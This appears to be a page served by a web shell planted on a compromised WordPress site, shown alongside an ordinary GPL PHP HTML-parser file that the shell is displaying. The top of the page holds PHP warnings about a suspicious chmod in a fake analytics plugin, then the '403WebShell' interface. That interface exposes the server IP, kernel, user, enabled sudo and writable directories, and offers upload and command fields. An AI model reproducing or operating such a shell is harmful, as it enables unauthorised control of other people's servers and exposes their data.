Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/core/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/core/plugins/inc.parsehtml.php
<?
/*
   phpHTMLparse v1.0 - PHP HTML parser
   Copyright (C) 2001 Nathan <nathan@0x00.org> 

   This program is free software; you can redistribute it and/or
   modify it under the terms of the GNU General Public License
   as published by the Free Software Foundation; either version 2
   of the License, or (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
*/

	class phpHTMLparse {
		var $tag_handler, $content_handler;
		var $position;
		var $ABORT;
		var $replace_lf = 1;

		function phpHTMLparse($handletag_func=NULL, $handlecontent_func=NULL) {
			/* Setup default handlers if none specified */
			$this->ABORT = 0;
			if ($handletag_func===NULL)
				$handletag_func='handle_tag';
			if ($handlecontent_func==NULL)
				$handlecontent_func='handle_content';
			$this->set_handlers($handletag_func, $handlecontent_func);
		}

		function set_handlers($tag, $content) {
			/* Sets up the handlers */
			$this->set_tag_handler($tag);
			$this->set_content_handler($content);
		}

		function set_content_handler($handlecontent_func) {
			/* Set the content handler */
			
			/* Check if there is a locally defined method for the handler (extended), then check global, abort if none. */
			if (method_exists($this, $handlecontent_func)) {
				$this->content_handler=array('SCOPE'=>'METHOD', 'FUNC'=>$handlecontent_func);
			} else if (function_exists($handlecontent_func)) {
				$this->content_handler=array('SCOPE'=>'FUNCTION', 'FUNC'=>$handlecontent_func);
			} else {
				$this->content_handler=NULL;
				user_error('No content handlers defined!!', E_USER_ERROR);
			}	
		}

		function set_tag_handler($handletag_func) {
			/* Set the tag handler */

			/* Check if there is a locally defined method for the handler (extended), then check global, abort if none. */
			if (method_exists($this, $handletag_func)) {
				$this->tag_handler=array('SCOPE'=>'METHOD', 'FUNC'=>$handletag_func);
			} else if (function_exists($handletag_func)) {
				$this->tag_handler=array('SCOPE'=>'FUNCTION', 'FUNC'=>$handletag_func);;	
			} else {
				$this->tag_handler=NULL;
				user_error('No tag handlers defined!!', E_USER_ERROR);
			}	
		}

		function parse($s) {
			if (!$this->tag_handler || !$this->content_handler) {
				user_error('Not parsing.  Not all handlers defined!!', E_USER_ERROR);
				return FALSE;
			}
			/* Add one opening < to the end just to force parse to force the output, otherwise it would have to do work when main loop ends. */
			$s.='<';
			$len=strlen($s);
			$lastmark=0;
			$curs='';
			$gotopen=FALSE;
			$this->position = 0;
			$current_tag = '';
			$line = $this->line = 1;
			for ($i=0; $i<$len && !$this->ABORT; $i++) {
				switch ($s[$i]) {
					case '<':
						/* If we are already in a < (unclosed) then this < is just an extra one */
						if ($gotopen) {
							$curs.=$s[$i];
							continue;
						}
						if (substr($s, $i, 4) == '<!--') {
							$curs .= $this->skip_data($s, $i, $gotopen, '-->');
							continue;
						}
						$gotopen=TRUE;
						if ($curs=='') continue;
						
						/* Check if we should be calling a local method or a global function */
						if ($this->content_handler['SCOPE']=='METHOD') $this->{$this->content_handler['FUNC']}($curs);
						else if ($this->content_handler['SCOPE']=='FUNCTION') $this->content_handler['FUNC']($curs);
						$this->position = $i;
						$this->line = $line;
						$curs='';
					break;
					
					case '>':
						/* If we are not in an opening tag, then this is just a wondering > */
						if (!$gotopen) {
							$curs.=$s[$i];
							continue;
						}
						$data=$this->_parse_tag($curs);
						$uppervariables=array();
						/* Setup an arrray of all the variables in upper case (references) */
						foreach ($data['VARIABLES'] as $k=>$v) {
							$uppervariables[strtoupper($k)]=&$data['VARIABLES'][$k];
						}
						$data['UPPERVARIABLES']=$uppervariables;
						$data['RAWTAG']="<$curs>";
						
						/* Check if we should be calling a local method or a global function */
						if ($this->tag_handler['SCOPE']=='METHOD') $this->{$this->tag_handler['FUNC']}($data);
						else if ($this->tag_handler['SCOPE']=='FUNCTION') $this->tag_handler['FUNC']($data);
						$this->position = $i;
						$this->line = $line;
						$curs='';
						$gotopen=FALSE;
						
						$current_tag = $data['UPPERTAG'];
						if ($current_tag == 'SCRIPT' || $current_tag == 'STYLE') {
							$curs = $this->skip_data($s, $i, $gotopen, '</' . $current_tag);			//everything between <script> and </script> is treated as content
						}
					break;
					
					default:
						if ($s{$i} == "\n") $line++;
						if ($s{$i} == "\n" && $gotopen && $this->replace_lf) {
							$curs .= ' '; //PJY
						} else {		
							$curs .= $s[$i];
						}
					break;
				}

			}
		}
		
		//everything between <script> and </script> is treated as content		
		function skip_data(&$s, &$i, &$gotopen, $end_tag) {
			$pos = stripos($s, $end_tag, $i);		// find the corresponding close tag
			if ($pos === FALSE) return;		// no closing tag found - do nothing
// get the content between open/close tags
			if ($end_tag == '-->') {
				$curs = substr($s, $i, $pos - $i + 3);
				$i--;
			} else {
				$curs = substr($s, $i + 1, $pos - $i - 1);
			}
			$i += strlen($curs);
			return $curs;
		}

		/* Converts all the variables in $tag["VARIABLS"] back to var1="blah1" var2="blah2" */
		function variable_string($variables) {
			$args='';
			foreach ($variables as $k=>$v) {
				/* Make sure we quote the variables with the original quoter, if any.  Just incase they used ' instead of " or maybe they didnt use any! */
				$quotewith=$v['QUOTEWITH'];
				$val=$v['VALUE'];
				if ($v['NOVALUE']) $args.="$k ";
				else $args.="$k=${quotewith}$val${quotewith} ";
			}
			/* Byebye extra space, return */
			return substr($args, 0, -1);
		}

		function _parse_tag($tagline) {
			$spacing=array(' ', "\t", "\r", "\n");
			$quoters=array("'", '"');
			/* Add an extra white space to the end of the tagline, just to make sure the loop reaches all points of the pass data */
			$tagline.= ' ';
			$dat=array();
			$dat['VARIABLES']=array();
			$i=strpos($tagline, ' ');
			if ($i===FALSE) {
				/* If we did not find a space, then this is just a tag like <br>, store it and return below. */
				$dat['TAG']=$tagline;
			} else {
				$dat['TAG']=substr($tagline, 0, $i);
			}
			/* Store upper case version of the tag, easier for user handlers */
			$dat['UPPERTAG']=strtoupper($dat['TAG']);
			if ($i===FALSE) return $dat; /* Return if we did not find a " " in the original string */
			$len=strlen($tagline);
			$varname='';
			$value='';
			$state='VAR';
			$closeon=NULL;
			for ($i++; $i<$len; $i++) {
				$c=$tagline[$i];
				if ($state=='VAR') {
					/* If we reached white space while in var mode, that means its just a single name. (<a href="moo" FOOO>) */
					if (in_array($c, $spacing)) {
						$state='VAR';
						$dat['VARIABLES'][$varname]=array('VALUE'=>NULL, 'NOVALUE'=>TRUE, 'QUOTEWITH'=>NULL);
						$value='';
						$varname='';
						if ($c==$closeon) $i++;
					} else if ($c=='=') {
						/* We got a name=value pair */
						$state='VAL';
						$temp=$i;
						$temp++;
						/* Skip over any extra white space <a foo=  "bar"> */
						while ($len>$temp && in_array($tagline[$temp], $spacing)) {
							$temp++;
						}
						/* If we skipped over space, then set $i to where we skipped to */
						if ($temp!=($i+1)) $i=$temp;
						$closeon=NULL;
						/* Do we have a quoter (', ")? If so, store it so we know what to close on.  */
						if (in_array($tagline[$i+1], $quoters)) { 
							$closeon=$tagline[$i+1];
							$i++;
						}
					} else {
						$varname.=$c;
					}
				} else if ($state=='VAL') {
					/* If we got $close on (", ') or closein is NULL and this is white space */
					if ($c==$closeon || ($closeon==NULL && (in_array($c, $spacing)))) {
						$state='VAR';
						$dat['VARIABLES'][$varname]=array('VALUE'=>$value, 'NOVALUE'=>FALSE, 'QUOTEWITH'=>$closeon);
						$value='';
						$varname='';
						if ($c==$closeon) {
							if (in_array($tagline[$i+1], $spacing)) $i++;		// only skip, if it is a white space
						}
					} else {
						$value.=$c;
					}
				}
			}
			return $dat;
		}

	}


?>

Youez - 2016 - github.com/yon3zu
LinuXploit